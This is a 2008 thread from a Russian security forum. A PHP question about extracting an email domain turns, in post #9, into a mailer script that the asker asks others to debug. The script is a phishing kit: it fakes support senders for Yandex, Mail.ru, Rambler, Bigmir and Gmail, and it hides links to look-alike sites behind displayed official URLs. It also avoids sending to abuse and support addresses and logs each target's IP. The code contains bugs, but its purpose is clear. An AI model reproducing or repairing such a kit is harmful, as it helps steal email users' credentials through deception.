HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.12.2008, 21:20
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

хм, есть переменная
PHP код:
$who "yandex@yandex.ru;" 
Нужно выдрать домен,и записать его например в
PHP код:
$email_domain "yandex.ru"
Подскажите как.Имя могу выдернуть,а вот с доменов чтото не выходит =)

Последний раз редактировалось m0Hze; 16.12.2008 в 21:30..
 
Ответить с цитированием

  #2  
Старый 16.12.2008, 21:29
Kaimi
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


По умолчанию

yandex@bk.ru, а домен при этом ты считаешь яндекс?
 
Ответить с цитированием

  #3  
Старый 16.12.2008, 21:30
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

ой соре,очапятка вылезла =)
Домен яндекс,а не бк. Как с помощью пред_мач вытащить?
 
Ответить с цитированием

  #4  
Старый 16.12.2008, 21:37
Kaimi
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


По умолчанию

Тебе обязательно preg_match ?
В твоем примере проще explode заюзать
 
Ответить с цитированием

  #5  
Старый 16.12.2008, 21:39
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

PHP код:
$who "dada@yandex.ru";
$email_domain=explode("@",$who);
$email_domain=$email_domain[1]; 
такой вариант почимута не пашет.Выводит в браузер букву a
 
Ответить с цитированием

  #6  
Старый 16.12.2008, 21:43
ntldr
Постоянный
Регистрация: 04.12.2007
Сообщений: 424
Провел на форуме:
2364957

Репутация: 479
По умолчанию

PHP код:
$who "dada@yandex.ru";
explode("@",$who);
$email_domain=$who[1]; 
А лучше так

Последний раз редактировалось ntldr; 16.12.2008 в 21:48..
 
Ответить с цитированием

  #7  
Старый 16.12.2008, 21:53
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Выводит "а"
Неработает,и старый,ни новый вариант.
 
Ответить с цитированием

  #8  
Старый 16.12.2008, 21:56
Kaimi
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


По умолчанию

PHP код:
$who "dada@yandex.ru"
list(
$name,$domain) = explode('@'$who);

print 
$domain
 
Ответить с цитированием

  #9  
Старый 16.12.2008, 22:10
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Намуливал скрипт,для своего удобства,с помощью ачата =)
Но почимуто не отправляет письма =( обидно блин.Посмотите,где я ошибся то...если не сложно.
PHP код:
<form method = "POST">
    
<font size = 2>Ящик:<br></font>
<input type = "text"
     name = "who"
     value = "">
<br>
Имя владельца.:
<br>
<input type = "text"
     name = "nick"
     value = "">
 <br>
<input type = "submit"
     value = "Отправляем!">
</center>
</form>
<?
preg_match
('#(.+)@#',$who,$m);
list(
$name,$domain1) = explode('@'$who);
$date_today date("d.m.y");
$ip $_SERVER['REMOTE_ADDR'];
if(
in_array($domain1, array('support','help','admin','abuse','soft','mail','administrator','info'))){
    {
    echo 
'<center><font color = "red" size = "4">На эти адреса отправка невозможна.</font>';
    die();
    }
    }else{
{
$topic file_get_contents('topic.txt');
$message file_get_contents('all.txt');
if(
$domain1 'yandex.ru'){
    {
    
$url "<a href = \"http://mysite.ru/?start=unblocked&2008$dig\">http://passport.yandex.ru/cgi-bin/?start=unblocked&2008$dig</a>";
    
$from "Yandex.Support <support@corp.yandex.ru>";
    
$company "Яндекс.Ру";
    }
    }elseif(
in_array($domain1, array('mail.ru','bk.ru','list.ru','inbox.ru'))){
        {
            
$url "<a href = \"http://mysite2.ru/cqi-bin/?start=unblocked&2008$dig\">http://win.mail.ru/cgi-bin/?start=unblocked&2008$dig</a>";
            
$from "Support@Mail.Ru < support@support.mail.ru>";
            
$company "@Mail.Ru";
        }
        }elseif(
$domain1 'rambler.ru'){
            {
                
$url "Сервис недоступен";
                
$from "Support@Rambler.ru <support@corp.rambler.ru>";
                
$company "@Rambler.Ru";
            }
            }elseif(
$domain1 'bigmir.net'){
                {
                    
$url "Сервис недоступен";
                    
$from "Support@Bigmir.ru <support@corp.bigmir.net>";
                    
$company "@Bigmir.Net";
                }
                }elseif(
in_array($domain1, array('gmail.com','gmail.ru','gmail.net'))){
                    {
                        
$topic file_get_content(g_t.txt);
                        
$from "Gmail Team <mail-noreply@qooqle.com>";
                        
$company "Gmail Team";
                        
$message file_get_contents('google.txt');
                    }
                    }else{
                        {
                            echo 
'<font color = "red" size = "20">Данный почтовый сервис не поддерживаеться системой</font>';
                            die();
                        }
                    }
                    
$fp fopen("logs.php","a"); //открыть файл 
fwrite($fp"Кому: $who IP: $ip Время: $today \n <br>"); //записываем данные 
fclose($fp); //закрываем 
//Записываем
$dig rand(100000000000,999999999999);
//Случайное число
$headers "From:".$from."\r\nReply-To:".$from."\r\n"
$headers .= "MIME-Version:1.0\r\n"
$headers .= "Content-Type: text/html;"
$body .= $message."\r\n\r\n"
mail($email$topic$body$headers); 
//Отправляем
}
    }
echo 
'</center></body></html>';
?>
 
Ответить с цитированием

  #10  
Старый 16.12.2008, 22:12
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Cj,cndtyyj ошибки пыхыпы не кажет,но и письма не отправляет.Если вы не найдете ошибку,то значит все дело в другом,и я даже догадываюсь в чем...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.